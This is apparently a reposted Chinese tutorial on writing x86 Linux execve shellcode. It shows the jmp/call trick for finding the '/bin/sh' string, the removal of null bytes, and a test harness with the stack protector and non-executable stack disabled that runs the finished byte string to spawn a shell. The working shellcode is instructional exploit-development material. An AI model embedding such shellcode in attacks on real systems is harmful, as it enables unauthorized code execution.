进一步完善shellcode的提取
来源:互联网 发布:c语言中库函数包括哪些 编辑:程序博客网 时间:2024/05/15 06:07
摘自:
http://www.linuxidc.com/Linux/2011-10/44765.htm
1.前面关于main和execve的分析,同“基本shellcode提取方法”中相应部分的讲解。
如果execve()调用失败的话,程序将会继续从堆栈中获取指令并执行,而此时堆栈中的数据时随机的,通常这个程序会core dump。如果我们希望在execve()调用失败时,程序仍然能够正常退出,那么我们就必须在execve()调用之后增加一个exit系统调用。它的C语言程序如下:
- root@linux:~/pentest# cat shellcode_exit.c
- #include <stdio.h>
- #include <stdlib.h>
- int main(int argc, char **argv) {
- exit(0);
- }
- root@linux:~/pentest# gdb shellcode_exit
- GNU gdb (Ubuntu/Linaro 7.2-1ubuntu11) 7.2
- Copyright (C) 2010 Free Software Foundation, Inc.
- License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
- This is free software: you are free to change and redistribute it.
- There is NO WARRANTY, to the extent permitted by law. Type "show copying"
- and "show warranty" for details.
- This GDB was configured as "i686-linux-gnu".
- For bug reporting instructions, please see:
- <http://www.gnu.org/software/gdb/bugs/>...
- Reading symbols from /root/pentest/shellcode_exit...done.
- (gdb) disass exit
- Dump of assembler code for function exit@plt:
- 0x080482f0 <+0>: jmp *0x804a008
- 0x080482f6 <+6>: push {1}x10
- 0x080482fb <+11>: jmp 0x80482c0
- End of assembler dump.
- (gdb)
通过gdb反汇编可以看到现在的gcc编译器向我们隐藏了exit系统调用的实现细节。但是,通过翻阅以前版本gdb反汇编信息,仍然可以得到exit系统调用的实现细节。
- [scz@ /home/scz/src]> gdb shellcode_exit
- GNU gdb 4.17.0.11 with Linux support
- This GDB was configured as "i386-RedHat-linux"...
- (gdb) disas _exit
- Dump of assembler code for function _exit:
- 0x804b970 <_exit>: movl %ebx,%edx
- 0x804b972 <_exit+2>: movl 0x4(%esp,1),%ebx
- 0x804b976 <_exit+6>: movl {1}x1,%eax
- 0x804b97b <_exit+11>: int {1}x80
- 0x804b97d <_exit+13>: movl %edx,%ebx
- 0x804b97f <_exit+15>: cmpl {1}xfffff001,%eax
- 0x804b984 <_exit+20>: jae 0x804bc60 <__syscall_error>
- End of assembler dump.
我们可以看到,exit系统调用将0x1放入到eax中(它是syscall的索引值),同时将退出码放入到ebx中(大部分程序正常退出时的返回值是0),然后执行“int 0x80”系统调用。
其实,到目前为止,我们要构造shellcode,但是我们并不知道我们要放置的字符串在内存中的确切位置。在3.1节中,我们采用将字符串压栈的方式获得字符串起始地址。在这一节中,我们将给出一种确定字符串起始地址的设计方案。该方案采用的是jmp和call指令。由于jmp和call指令都可以采用eip相对寻址,也就是说,我们可以从当前运行的地址跳到一个偏移地址处执行,而不必知道这个地址的确切地址值。如果我们将call指令放在“/bin/bash”字符串前,然后jmp到call指令的位置,那么当call指令被执行时,它会首先将下一个要执行的指令的地址(也就是字符串的起始地址)压入堆栈。这样就可以获得字符串的起始地址。然后我们可以让call指令调用我们的shellcode的第一条指令,然后将返回地址(字符串起始地址)从堆栈中弹出到某个寄存器中。
我们要构造的shellcode的执行流程如下图所示:
Shellcode执行流程解析:
RET覆盖返回地址eip之后,子函数返回时将跳转到我们的shellcode的起始地址处执行。由于shellcode起始地址处是一条jmp指令,它直接跳到了我们的call指令处执行。call指令先将返回地址(“/bin/bash”字符串地址)压栈之后,跳转到jmp指令下一地址处指令继续执行。这样就可以获取到字符串的地址。
即:
- Beginning_of_shellcode:
- jmp subroutine_call
- subroutine:
- popl %esi
- ……
- (shellcode itself)
- ……
- subroutine_call:
- call subroutine
- /bin/sh
下面,我们用C语言内嵌汇编的方式,构造shellcode。
- root@linux:~/pentest# cat shellcode_asm.c
- #include <stdio.h>
- int main(int argc, char **argv) {
- __asm__
- (" \
- jmp subroutine_call; \
- subroutine: \
- popl %esi; \
- movl %esi,0x8(%esi); \
- movl {1}x0,0xc(%esi); \
- movb {1}x0,0x7(%esi); \
- movl {1}xb,%eax; \
- movl %esi,%ebx; \
- leal 0x8(%esi),%ecx; \
- leal 0xc(%esi),%edx; \
- int {1}x80; \
- movl {1}x0,%ebx; \
- movl {1}x1,%eax; \
- int {1}x80; \
- subroutine_call: \
- call subroutine; \
- .string \"/bin/sh\"; \
- ");
- return 0;
- }
- root@linux:~/pentest# objdump -d shellcode_asm
- 08048394 <main>:
- 8048394: 55 push %ebp
- 8048395: 89 e5 mov %esp,%ebp
- 8048397: eb 2a jmp 80483c3 <subroutine_call>
- 08048399 <subroutine>:
- 8048399: 5e pop %esi
- 804839a: 89 76 08 mov %esi,0x8(%esi)
- 804839d: c7 46 0c 00 00 00 00 movl {1}x0,0xc(%esi)
- 80483a4: c6 46 07 00 movb {1}x0,0x7(%esi)
- 80483a8: b8 0b 00 00 00 mov {1}xb,%eax
- 80483ad: 89 f3 mov %esi,%ebx
- 80483af: 8d 4e 08 lea 0x8(%esi),%ecx
- 80483b2: 8d 56 0c lea 0xc(%esi),%edx
- 80483b5: cd 80 int {1}x80
- 80483b7: bb 00 00 00 00 mov {1}x0,%ebx
- 80483bc: b8 01 00 00 00 mov {1}x1,%eax
- 80483c1: cd 80 int {1}x80
- 080483c3 <subroutine_call>:
- 80483c3: e8 d1 ff ff ff call 8048399 <subroutine>
- 80483c8: 2f das
- 80483c9: 62 69 6e bound %ebp,0x6e(%ecx)
- 80483cc: 2f das
- 80483cd: 73 68 jae 8048437 <__libc_csu_init+0x57>
- 80483cf: 00 b8 00 00 00 00 add %bh,0x0(%eax)
- 80483d5: 5d pop %ebp
- 80483d6: c3 ret
- 80483d7: 90 nop
- 80483d8: 90 nop
- 80483d9: 90 nop
- 80483da: 90 nop
- 80483db: 90 nop
- 80483dc: 90 nop
- 80483dd: 90 nop
- 80483de: 90 nop
- 80483df: 90 nop
替换掉shellcode中含有的Null字节的指令:
含有Null字节的指令
替代指令
movl $0x0,0xc(%esi)
movb $0x0,0x7(%esi)
xorl %eax,%eax
movl %eax,0xc(%esi)
movb %al,0x7(%esi)
movl $0xb,%eax
xorl %eax,%eax
movb $0xb,%al
movl $0x1,%eax
movl $0x0,%ebx
xorl %ebx,%ebx
iovl %ebx,%eax
inc %eax
修改后的代码和反汇编结果如下:
- root@linux:~/pentest# cat shellcode_asm.c
- #include <stdio.h>
- int main(int argc, char **argv) {
- __asm__
- (" \
- jmp subroutine_call; \
- subroutine: \
- popl %esi; \
- movl %esi,0x8(%esi); \
- xorl %eax,%eax; \
- movl %eax,0xc(%esi); \
- movb %al,0x7(%esi); \
- movb {1}xb,%al; \
- movl %esi,%ebx; \
- leal 0x8(%esi),%ecx; \
- leal 0xc(%esi),%edx; \
- int {1}x80; \
- xorl %ebx,%ebx; \
- movl %ebx,%eax; \
- inc %eax; \
- int {1}x80; \
- subroutine_call: \
- call subroutine; \
- .string \"/bin/sh\"; \
- ");
- return 0;
- }
- root@linux:~/pentest# gcc -g -o shellcode_asm shellcode_asm.c
- root@linux:~/pentest# objdump -d shellcode_asm
- 08048394 <main>:
- 8048394: 55 push %ebp
- 8048395: 89 e5 mov %esp,%ebp
- 8048397: eb 1f jmp 80483b8 <subroutine_call>
- 08048399 <subroutine>:
- 8048399: 5e pop %esi
- 804839a: 89 76 08 mov %esi,0x8(%esi)
- 804839d: 31 c0 xor %eax,%eax
- 804839f: 89 46 0c mov %eax,0xc(%esi)
- 80483a2: 88 46 07 mov %al,0x7(%esi)
- 80483a5: b0 0b mov {1}xb,%al
- 80483a7: 89 f3 mov %esi,%ebx
- 80483a9: 8d 4e 08 lea 0x8(%esi),%ecx
- 80483ac: 8d 56 0c lea 0xc(%esi),%edx
- 80483af: cd 80 int {1}x80
- 80483b1: 31 db xor %ebx,%ebx
- 80483b3: 89 d8 mov %ebx,%eax
- 80483b5: 40 inc %eax
- 80483b6: cd 80 int {1}x80
- 080483b8 <subroutine_call>:
- 80483b8: e8 dc ff ff ff call 8048399 <subroutine>
- 80483bd: 2f das
- 80483be: 62 69 6e bound %ebp,0x6e(%ecx)
- 80483c1: 2f das
- 80483c2: 73 68 jae 804842c <__libc_csu_init+0x5c>
- 80483c4: 00 b8 00 00 00 00 add %bh,0x0(%eax)
- 80483ca: 5d pop %ebp
- 80483cb: c3 ret
- 80483cc: 90 nop
- 80483cd: 90 nop
- 80483ce: 90 nop
- 80483cf: 90 nop
- root@linux:~/pentest# gdb shellcode_asm
- (gdb) b main
- Breakpoint 1 at 0x8048397: file shellcode_asm.c, line 5.
- (gdb) r
- Starting program: /root/pentest/shellcode_asm
- Breakpoint 1, main (argc=1, argv=0xbffff464) at shellcode_asm.c:5
- 5 __asm__
- (gdb) disass main
- Dump of assembler code for function main:
- 0x08048394 <+0>: push %ebp
- 0x08048395 <+1>: mov %esp,%ebp
- => 0x08048397 <+3>: jmp 0x80483b8 <subroutine_call>
- 0x08048399 <+5>: pop %esi
- 0x0804839a <+6>: mov %esi,0x8(%esi)
- 0x0804839d <+9>: xor %eax,%eax
- 0x0804839f <+11>: mov %eax,0xc(%esi)
- 0x080483a2 <+14>: mov %al,0x7(%esi)
- 0x080483a5 <+17>: mov {1}xb,%al
- 0x080483a7 <+19>: mov %esi,%ebx
- 0x080483a9 <+21>: lea 0x8(%esi),%ecx
- 0x080483ac <+24>: lea 0xc(%esi),%edx
- 0x080483af <+27>: int {1}x80
- 0x080483b1 <+29>: xor %ebx,%ebx
- 0x080483b3 <+31>: mov %ebx,%eax
- 0x080483b5 <+33>: inc %eax
- 0x080483b6 <+34>: int {1}x80
- 0x080483b8 <+0>: call 0x8048399 <main+5>
- 0x080483bd <+5>: das
- 0x080483be <+6>: bound %ebp,0x6e(%ecx)
- 0x080483c1 <+9>: das
- 0x080483c2 <+10>: jae 0x804842c
- 0x080483c4 <+12>: add %bh,0x0(%eax)
- 0x080483ca <+18>: pop %ebp
- 0x080483cb <+19>: ret
- End of assembler dump.
- (gdb) x/s 0x080483bd
- 0x80483bd <subroutine_call+5>: "/bin/sh"
分析可知,0x8048397到0x80483b8之间的部分,使我们嵌入汇编部分代码。而0x80483bd开始处存放着我们的字符串变量“/bin/sh”。
- root@linux:~/pentest# ./shellcode_asm
- Segmentation fault
- root@linux:~/pentest#
为什么会出现段错误呢?原因是我们嵌入的汇编代码要修改自身所在的内存区域,然而由于main()函数所在的段属于代码段,具有只读属性,因此,要对只读的代码段执行写操作必然导致段错误。这里我们采用一个小技巧来绕过这个限制,我们将shellcode放在数据段,用一个全局变量数组来存储shellcode。
- root@linux:~/pentest# cat test.c
- #include <stdio.h>
- char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x89\x46\x0c\x88\x46"
- "\x07\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8"
- "\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";
- int main(void) {
- int ret;
- *(&ret + 2) = (int)shellcode;
- return 0;
- }
- root@linux:~/pentest# gcc -fno-stack-protector -z execstack -g -o test test.c
- root@linux:~/pentest# ./test
- # exit
- root@linux:~/pentest#
可以看到,我们的shellcode成功的执行,并且得到命令行。
- 进一步完善shellcode的提取
- 进一步完善shellcode的提取
- 进一步完善shellcode的提取
- 进一步完善MPLAYER的安装
- 一种提取shellcode的方法
- 一种提取shellcode的方法
- 提取shellcode
- inpainting小工具的进一步完善
- 6.2 ShellCode的高效提取技巧
- #猜猜看#进一步完善代码
- 对以前扫雷游戏功能进一步完善的版本.
- SpriteKit可摧毁物理场景的进一步完善
- flash文件shellcode提取
- 基本shellcode提取方法
- 基本shellcode提取方法
- 基本shellcode提取方法
- 从汇编代码提取Shellcode的简单实现
- ShellCode汇编内存自动提取
- 图片处理软件:Corel Paint Shop Pro Photo X3
- Android: How to Unpack, Edit, and Re-Pack Boot Images
- 天使的三个答案
- 移动佣金分类项及其相关报表通过配置表进行管理的使用说明
- MySQLdb安装
- 进一步完善shellcode的提取
- MSSQL中,执行用字符串拼接的sql语句后返回值
- 打造幽默的工作能力
- Linq学习工具及Lamada表达式
- 将pcre、zlib等包编译进nginx里去
- Zip加密文件破解
- 在职场上老板最欣赏的人
- 虚拟机技术研究
- Android在标准linux基础上对休眠唤醒的实现(一)(二)(三)【转】